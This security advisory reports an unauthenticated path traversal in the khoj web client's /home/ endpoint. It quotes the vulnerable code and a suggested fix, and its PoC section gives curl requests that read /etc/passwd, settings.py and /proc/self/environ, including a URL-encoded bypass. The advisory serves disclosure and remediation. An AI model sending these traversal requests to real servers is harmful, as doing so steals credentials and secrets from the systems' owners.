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khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem

0
High
Published: 09/25/2026 (09/25/2026, 21:38:15 UTC)
Source: GCVE Database
Product: khoj

Description

### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` **What is missing:** - No `..` traversal filtering - No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) - No authentication decorator (`@requires(["authenticated"])` is absent) - Starlette's `FileResponse` does NOT perform path traversal protection **Path resolution:** ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` ### PoC ```bash # Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd # Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py # Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` ### Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: - **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys - **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` - **Exfiltrate sensitive data** — Any file readable by the server process - **Facilitate further attacks** — Leaked credentials enable deeper compromise **No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. ### Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```

CVSS v4.0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vuln. Confidentiality
High
Vuln. Integrity
None
Vuln. Availability
None
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected software

PyPIghsa
khoj
Affected versions
>=2.0.0-beta.23 <2.0.0-beta.25

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-62mm-xwmv-crhg
Osv Schema Version
1.4.0
Ecosystems
["PyPI"]
Database Specific Severity
HIGH
Cvss Version
4.0

Threat ID: 6ab74f5bf7a7c54106e149d4

Added to database: 09/26/2026, 04:51:39 UTC

Last updated: 09/26/2026, 04:51:39 UTC

Views: 1

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